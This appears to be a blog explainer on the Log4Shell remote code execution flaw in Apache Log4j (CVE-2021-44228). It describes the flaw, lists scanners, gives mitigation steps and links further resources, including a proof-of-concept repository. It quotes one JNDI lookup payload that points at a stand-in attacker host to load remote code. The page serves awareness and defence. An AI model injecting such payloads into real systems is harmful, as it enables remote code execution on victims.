log4shell 0-day Exploit in log4j v2 — What it is? How to Identify and Mitigate the Vulnerability (CVE-2021–44228)
What is log4shell ?
“Log4Shell” got its name by researchers at LunaSec and credited to Chen Zhaojun of Alibaba. It is an remote code execution vulnerability. This vulnerability has been found in Apache Log4j library, which is an open source logging utility which is written in Java and developed by Apache Software Foundation. This library is used in a millions of applications, websites and services including iCloud, Minecraft, and Steam.
This issue was first discovered in Microsoft-owned Minecraft. LunaSec warns that “many, many services” are vulnerable to this exploit since Log4j is present in almost all major Java-based enterprise applications and servers. Also a warning is made that anybody using Apache Struts is “likely vulnerable.”
In an affected log4j versions, If an attacker can have control on log messages or log message parameters, they can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
Check out the list of affected components/manufacturers -
How does the vulnerability works ?
The attack vector is very easy for attackers. A single string of text can trigger an application to reach out to an external location given that the logging is done via the vulnerable instance of log4j.
An attacker might supply special text in an HTTP User-Agent header or a simple POST form request, with the usual form:
${jndi:ldap://attackercontrolledhost.com/resource
…where attackercontrolledhost.com is an instance controlled by the adversary. The log4j vulnerability then parses this and reaches out to the malicious host via the “Java Naming and Directory Interface” (JNDI). The first-stage resource acts as a springboard to another attacker-controlled endpoint, which serves the Java code to be executed on the original victim. This provides and attacker the opportunity to run any code they would like on the target system resulted in remote code execution.
Identify log4shell vulnerability
log4j-Scan https://github.com/fullhunt/log4j-scan
log4j2Scan https://github.com/whwlsfb/Log4j2Scan
Test if your application is vulnerable https://log4shell.huntress.com/
Use Burp Suite log4shell Scanner Extension https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f
Mitigating the Vulnerability
Mitigations are available for versions of Log4j 2.10.0 and up. Version 2.15.0 is not vulnerable by default. Fixing the vulnerability may not be straightforward, but it is critical to upgrade.
The Apache log4j project advises that if you are unable to upgrade, for whatever reason, you can use the following mitigations:
- In version 2.10.0 or higher by switching the log4j2.formatMsgNoLookups system property, or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. This can be done by adding ‐Dlog4j2.formatMsgNoLookups=True to the JVM command for starting the application.
- For 2.7 up to and including 2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
- For r2.0-beta9 up to and including 2.10.0, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Additional Reading and Resources
- Robert Fuller (mubix) has collected a list of hashes for vulnerable log4j versions/filepaths
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://github.com/YfryTchsGD/Log4jAttackSurface
- https://access.redhat.com/security/cve/cve-2021-44228
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
- https://www.youtube.com/watch?v=OJRqyCHheRE
- Test it out at https://tryhackme.com/room/solar
- https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
